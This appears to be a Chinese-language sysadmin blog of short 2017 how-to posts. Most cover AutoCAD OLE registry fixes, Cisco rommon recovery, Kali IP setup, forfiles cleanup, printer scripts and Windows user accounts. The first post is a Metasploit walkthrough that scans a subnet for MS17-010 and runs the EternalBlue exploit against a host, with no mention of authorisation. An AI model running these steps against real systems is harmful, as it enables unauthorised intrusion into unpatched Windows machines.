2017年10月30日 星期一

Kali Linux - Metasploit 使用方法

1.更新metasploit版本
apt-get update
apt-get install metasploit-framework

2.開啟Metasploit
msfconsole

3.常用指令說明
help:檢視執行指令的資訊
search module:搜尋特定模組
use module:載入特定模組
info:查訊目前使用模組的資訊
options:查看需要設定的參數
set option module:設定模組內的參數
check:測試
run:執行滲透攻擊模組
back:回到上層

範例 - 攻擊Microsoft的MS17_010漏洞

search ms17_010


a.大範圍搜索攻擊目標
use auxiliary/scanner/smb/smb_ms17_010
options
set RHOSTS 192.168.33.1/24
set THREADS 16
run


















 
b.攻擊特定目標
use exploit/windows/smb/ms17_010_eternalblue
options
set RHOST 192.168.33.106
RUN


c.滲透成功
ipconfig
whoami

2017年10月26日 星期四

Word、Excel、PowerPoint無法插入物件(CAD圖檔 *.dwg)、或開啟物件(CAD圖檔 *.dwg)會出現錯誤訊息

問題描述:
1.Word、Excel、PowerPoint插入物件DWG圖檔,出現「無法插入物件」。
2.開啟Word、Excel、PowerPoint內DWG圖檔,出現「無法啟動此內嵌物件的來源應用程式」。











解決方法:
1.查詢AutoCAD版本的CLSID
執行「regedit」開啟登錄編輯程式,展開HKEY_CLASSES_ROOT\AutoCAD.Drawing.[格式編號]\CLSID,查詢AutoCAD的CLSID。
ex:
HKEY_CLASSES_ROOT\AutoCAD.Drawing.20\CLSID =>AutoCAD 2016
HKEY_CLASSES_ROOT\AutoCAD.Drawing.21\CLSID =>AutoCAD 2017

目前已知的AutoCAD版本CLSID碼如下
R14:{5E4405B0-5374-11CE-8E71-0020AF04B1D7}
2000/2001/2002:{4D3263E4-CAB7-11D2-802A-0080C703929C}
2004/2005/2006:{8E75D913-3D21-11D2-85C4-080009A0C626}
2007/2008/2009:{7AABBB95-79BE-4C0F-8024-EB6AF271231C}
2010/2011/2012:{D70E31AD-2614-49F2-B0FC-ACA781D81F3E}
2013/2014/2015:{6A221957-2D85-42A7-8E19-BE33950D1DEB}
2016:{149DD748-EA85-45A6-93C5-AC50D0260C98}
2017:{720DB9AF-D62C-4ED0-A377-429C22312852}


2.複製底下米字內的內容,貼上至記事本,根據您使用的CAD版本,更改@後面的CLSID值(以下是使用AutoCAD 2016),儲存為reg檔後執行。

******************************************************************************
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{5E4405B0-5374-11CE-8E71-0020AF04B1D7}\AutoConvertTo]
@="{149DD748-EA85-45A6-93C5-AC50D0260C98}"

[HKEY_CLASSES_ROOT\CLSID\{4D3263E4-CAB7-11D2-802A-0080C703929C}\AutoConvertTo]
@="{149DD748-EA85-45A6-93C5-AC50D0260C98}"

[HKEY_CLASSES_ROOT\CLSID\{8E75D913-3D21-11d2-85C4-080009A0C626}\AutoConvertTo]
@="{149DD748-EA85-45A6-93C5-AC50D0260C98}"

2017年10月11日 星期三

Cisco Router 重開機會進入rommon模式

請檢查映像檔是否還在及組態暫存器值,也可試著設定boot system

1.檢查falsh0內的IOS 映像檔是否還在
Cisco_Router#dir flash:
Directory of flash0:/

    1  -rw-    76900964   Sep 2 2015 14:11:48 +00:00  c1900-universalk9-mz.SPA.155-1.T1.bin
    2  -rw-        3066   Sep 2 2015 14:20:34 +00:00  cpconfig-19xx.cfg
    3  -rw-         720  Dec 29 2015 11:29:16 +00:00  vlan.dat
    4  drw-           0   Sep 2 2015 14:20:56 +00:00  ccpexp
  459  -rw-        2885   Sep 2 2015 14:24:46 +00:00  home.shtml

2.檢查當前的組態暫存器值是否為0x2102
Cisco_Router#show version

Configuration register is 0x2102

如果不是0x2102,更改指令如下
Cisco_Router#conf t
Cisco_Router(config)#config-register 0x2102
[Ctrl-Z]
Cisco_Router#reload

3.設定boot system
Cisco_Router#dir flash:
Directory of flash0:/

    1  -rw-    76900964   Sep 2 2015 14:11:48 +00:00  c1900-universalk9-mz.SPA.155-1.T1.bin
    2  -rw-        3066   Sep 2 2015 14:20:34 +00:00  cpconfig-19xx.cfg
    3  -rw-         720  Dec 29 2015 11:29:16 +00:00  vlan.dat
    4  drw-           0   Sep 2 2015 14:20:56 +00:00  ccpexp
  459  -rw-        2885   Sep 2 2015 14:24:46 +00:00  home.shtml

設定前,無boot system資料
Cisco_Router#show run | inc boot
boot-start-marker
boot-end-marker

Cisco_Router#conf t
Cisco_Router(config)#boot system flash0:c1900-universalk9-mz.SPA.155-1.T1.bin
[Ctrl-Z]
Cisco_Router#write

設定後
Cisco_Router#show run | inc boot
boot-start-marker
boot system flash0:c1900-universalk9-mz.SPA.155-1.T1.bin
boot-end-marker

2017年9月29日 星期五

Kali Linux 設定IP

1.修改 /etc/network/interfaces 內容
root@kali~#nano /etc/network/interfaces

2.設定使用模式

★DHCP(自動取得IP)
auto eth0
iface eth0 inet dhcp

★Static IP(固定IP)
auto eth0
iface eth0 inet static
address 192.168.1.100  # IP位址
netmask 255.255.255.0  # 子網路遮罩
gateway 192.168.1.254  # 預設閘道

3.重新啟動網路或重開機
root@kali~#sudo /etc/init.d/networking restart #重啟網路
root@kali~#ifdown eth0 && ifup eth0  #重啟網路介面卡
root@kali~#reboot #重新開機

2017年9月20日 星期三

使用cmd指令刪除n天前的檔案(forfiles)



FORFILES [/P pathname] [/M searchmask] [/S] [/C command] [/D [+ | -] {yyyy/MM/dd | dd}]

    /P    pathname      表示要開始搜尋的路徑。
                        預設資料夾是目前的
                        目錄 (.)。

    /M    searchmask    根據 searchmask 搜尋檔案。
                        預設的 searchmask 是 '*'。

    /S                  指示 forfiles 遞迴搜尋
                        子目錄。例如 "DIR /S"。

    /C    command       表示每個檔案要執行的命令。
                        命令字串應該包含在雙括號
                        之間。
                        預設的命令是 "cmd /c echo @file"。

    /D    date          選取檔案上次修改的時間大於或
                        等於 (+) 、小於或等於 (-),
                        使用 "yyyy/MM/dd" 格式指定的日期;
                        或選取檔案上次修改
                        的時間大於或等於 (+)
                        目前的日期再加上 "dd" 天、
                        小於或等於 (-) 目前的日期減去 "dd" 天。
                        有效的 "dd" 可以是介於
                        0 - 32768 之間的數字。
                        如果未指定,"+" 將被視為預設符號。

範例如下

刪除放在D:\LOG目錄內10天以前的記事本檔案
forfiles /P "D:\LOG" /S /M *.txt /D -10 /C "cmd /c del @path"

列出並刪除放在D:\LOG目錄內10天以前的記事本檔案
forfiles /P "D:\LOG" /S /M *.txt /D -10 /C "cmd /c echo delete @path && del @path"

列出放在D:目錄內所有的批次檔
forfiles /P "D:" /S /M *.bat /C "cmd /c echo @path"

複製D:\WORK目錄內10天以前的檔案到E:\Archive
forfiles /P "D:\WORK" /S /D -10 /C "cmd /c copy @path E:\Archive"

列出並複製D:\WORK目錄內10天以前的檔案到E:\Archive
forfiles /P "D:\WORK" /S /D -10 /C "cmd /c echo copy @path && copy @path E:\Archive"

搬移D:\WORK目錄內10天以前的檔案到E:\Archive
forfiles /P "D:\WORK" /S /D -10 /C "cmd /c move @path E:\Archive"

列出並搬移D:\WORK目錄內10天以前的檔案到E:\Archive
forfiles /P "D:\WORK" /S /D -10 /C "cmd /c echo move @path && move @path E:\Archive"



2017年9月19日 星期二

使用cmd指令新增或刪除TCP/IP印表機、驅動、連接埠

1.用指令刪除印表機、驅動、連接埠

rem ***刪除印表機***
rem -p 印表機名稱
cscript C:\Windows\System32\Printing_Admin_Scripts\zh-TW\prnmngr.vbs -d -p "FX ApeosPort-IV C4470 PCL 6"

rem ***刪除印表機驅動程式***
rem /m 印表機驅動程式型號名稱
rundll32 printui.dll,PrintUIEntry /dd /m "FX ApeosPort-IV C4470 PCL 6"

rem ***刪除連接埠***
rem -r 連接埠名稱 
rem -h 裝置的 IP 位址
cscript C:\Windows\System32\Printing_Admin_Scripts\zh-TW\prnport.vbs -d -r IP_192.168.1.5 -o raw -n 9100 -h 192.168.1.5


2.用指令新增印表機、驅動、連接埠

rem ***建立連接埠***
rem -r 連接埠名稱 
rem -h 裝置的 IP 位址
cscript C:\Windows\system32\Printing_Admin_Scripts\zh-TW\prnport.vbs -a -r IP_192.168.1.5 -o raw -n 9100 -h 192.168.1.5

rem ***安裝印表機及驅動***
rem /b 印表機名稱,可隨意取名
rem /f inf檔案路徑
rem /r 連接埠名稱
rem /m 印表機驅動程式型號名稱
rundll32 printui.dll,PrintUIEntry /if /b "FX ApeosPort-IV C4470 PCL 6" /f "\\192.168.1.1\fxap4c4470\FX6KYAL.INF" /r "IP_192.168.1.5" /m "FX ApeosPort-IV C4470 PCL 6"

rem ***設定預設印表機***
rem /n 印表機名稱
rundll32 printui.dll,PrintUIEntry /y /n "FX ApeosPort-IV C4470 PCL 6"

2017年8月30日 星期三

使用cmd指令新增、刪除使用者帳號與群組

1. 新增、修改、刪除使用者
建立使用者帳戶,帳號User1 密碼123456
net user user1 123456 /add

修改使用者帳號密碼,帳號User1 密碼改為12345678
net user user1 12345678

刪除使用者帳號User1
net user user1 /del

2. 新增、刪除群組
新增一個 Groups1 群組
net localgroup groups1 /add

刪除 Groups1 群組
net localgroup groups1 /del

3. 新增使用者帳號到指定群組
使用者帳號User1加入至Groups1群組
net localgroup groups1 user1 /add

網域帳號contoso\jack加入至本機Groups1群組
net localgroup groups1 contoso\jack /add

刪除Groups1群組中的使用者帳號User1
net localgroup groups1 user1 /del